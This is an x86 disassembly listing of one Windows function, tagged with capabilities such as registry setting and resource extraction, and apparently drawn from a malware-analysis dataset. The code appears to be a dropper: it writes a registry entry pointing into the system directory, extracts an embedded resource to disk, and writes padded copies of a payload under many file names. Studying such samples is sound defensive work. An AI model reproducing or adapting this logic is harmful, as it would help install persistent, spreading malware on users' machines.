Function at 0x4095a4
Capabilities:
Create directory
Extract resource via kernel32 functions
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov eax, 0x409564
call fcn.00404ba4
xor eax, eax
push ebp
push 0x409a0b
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [0x448cec], eax
push 0x448cdc
lea eax, [ebp - 0x14]
mov ecx, 0x409a20
mov edx, dword [0x40a464]
call fcn.00403f74
mov eax, dword [ebp - 0x14]
call fcn.0040406c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyA
mov dword [0x448cd8], 4
push 0x448cd8
push 0x448cec
push 0
push 0
push 0x409a28
mov eax, dword [0x448cdc]
push eax
call sub.advapi32.dll_RegQueryValueExA
cmp dword [0x448cec], 0x83
jge 0x409792
mov dword [0x448cec], 0x83
push 4
push 0x448cec
push 4
push 0
push 0x409a28
mov eax, dword [0x448cdc]
push eax
call sub.advapi32.dll_RegSetValueExA
push 0xff
push 0x40b848
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov eax, 0x448ce8
mov edx, 0x40b848
mov ecx, 0x400
call fcn.00403efc
push dword [0x448ce8]
push 0x409a38
push dword [0x40a460]
mov eax, 0x448ce8
mov edx, 3
call fcn.00403fe8
push 0xa
push 0x409a3c
mov eax, dword [0x40b710]
push eax
call sub.KERNEL32.DLL_FindResourceA
mov dword [0x448cf0], eax
mov eax, dword [0x448cf0]
push eax
mov eax, dword [0x40b710]
push eax
call sub.KERNEL32.DLL_LoadResource
mov dword [0x448cf4], eax
mov edx, dword [0x448ce8]
mov eax, 0x448cf8
call fcn.00402a9c
mov edx, 1
mov eax, 0x448cf8
call fcn.00402dec
push 0
mov eax, dword [0x448cf0]
push eax
mov eax, dword [0x40b710]
push eax
call sub.KERNEL32.DLL_SizeofResource
mov ecx, eax
mov edx, dword [0x448cf4]
mov eax, 0x448cf8
call fcn.00402c14
mov eax, 0x448cf8
call fcn.00402c34
mov eax, dword [0x448cf0]
call fcn.00404d68
mov eax, dword [0x448cf0]
push eax
call sub.KERNEL32.DLL_FreeResource
push 0x448cdc
lea eax, [ebp - 0x18]
mov ecx, 0x409a48
mov edx, dword [0x40a464]
call fcn.00403f74
mov eax, dword [ebp - 0x18]
call fcn.0040406c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyA
mov eax, dword [0x448ce8]
call fcn.00403f28
push eax
mov eax, 0x448ce8
call fcn.004040bc
push eax
push 1
push 0
mov eax, 0x40a460
call fcn.004040bc
push eax
mov eax, dword [0x448cdc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [0x448cdc]
push eax
call sub.advapi32.dll_RegCloseKey
mov edx, 0x448ce8
xor eax, eax
call fcn.00402788
mov edx, dword [0x448ce8]
mov eax, 0x448cf8
call fcn.00402a9c
mov eax, dword [0x40a580]
mov byte [eax], 0x40
mov edx, 1
mov eax, 0x448cf8
call fcn.00402dd0
push 0
mov edx, 0x40bc48
mov ecx, 0xd800
mov eax, 0x448cf8
call fcn.00402bf4
mov eax, 0x448cf8
call fcn.00402c34
call fcn.004027e8
mov dword [0x448e48], 1
mov eax, 0xff
call fcn.00402cac
mov edx, dword [0x448e48]
mov byte [edx + 0x43c987], al
inc dword [0x448e48]
cmp dword [0x448e48], 0xc351
jne 0x4097f4
xor eax, eax
mov dword [0x448e50], eax
push 0x448cdc
push 0x409a4c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyA
push 4
push 0x448e50
push 4
push 0
push 0x409a68
mov eax, dword [0x448cdc]
push eax
call sub.advapi32.dll_RegSetValueExA
push 0xff
push 0x40b848
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov eax, 0x448ce0
mov edx, 0x40b848
mov ecx, 0x400
call fcn.00403efc
mov eax, 0x448ce0
mov edx, 0x409a80
call fcn.00403f30
mov eax, 0x448ce4
mov ecx, dword [0x448ce0]
mov edx, 0x409a94
call fcn.00403f74
mov eax, dword [0x448ce4]
call fcn.00403f28
push eax
mov eax, 0x448ce4
call fcn.004040bc
push eax
push 1
push 0
push 0x409a9c
mov eax, dword [0x448cdc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [0x448cdc]
push eax
call sub.advapi32.dll_RegCloseKey
push 0
mov eax, dword [0x448ce0]
call fcn.0040406c
push eax
call sub.KERNEL32.DLL_CreateDirectoryA
xor eax, eax
mov dword [0x448e58], eax
call fcn.004027e8
mov dword [0x448e44], 1
cmp dword [0x448e58], 0x19
jg 0x4099dd
mov eax, 3
call fcn.00402cac
mov dword [ebp - 0x1c], eax
fild dword [ebp - 0x1c]
call fcn.00402824
fcomp dword [0x409aa4]
fnstsw ax
sahf
jne 0x4099ca
inc dword [0x448e58]
push dword [0x448ce0]
push 0x409a38
mov eax, dword [0x448e44]
push dword [eax*4 + 0x40a2ac]
mov eax, 0x448ce8
mov edx, 3
call fcn.00403fe8
mov eax, dword [0x448ce8]
call fcn.00405a9c
mov dword [0x448e54], eax
mov eax, dword [0x448e54]
not eax
test eax, eax
jg 0x4099ca
mov edx, 0x40bc48
mov ecx, 0xd800
mov eax, dword [0x448e54]
call fcn.00405ac0
mov eax, 0x7530
call fcn.00402cac
add eax, 0x1f40
mov dword [0x448e4c], eax
mov edx, 0x43c988
mov ecx, dword [0x448e4c]
mov eax, dword [0x448e54]
call fcn.00405ac0
mov edx, dword [0x448e4c]
add edx, 0x2e39a333
mov eax, dword [0x448e54]
call fcn.00405af4
mov eax, dword [0x448e54]
call fcn.00405aec
inc dword [0x448e44]
cmp dword [0x448e44], 0x6d
jne 0x4098f6
push 0
push 0x409aa8
push 0x409ab0
push 0
call sub.user32.dll_MessageBoxA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409a12
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00403cdc
ret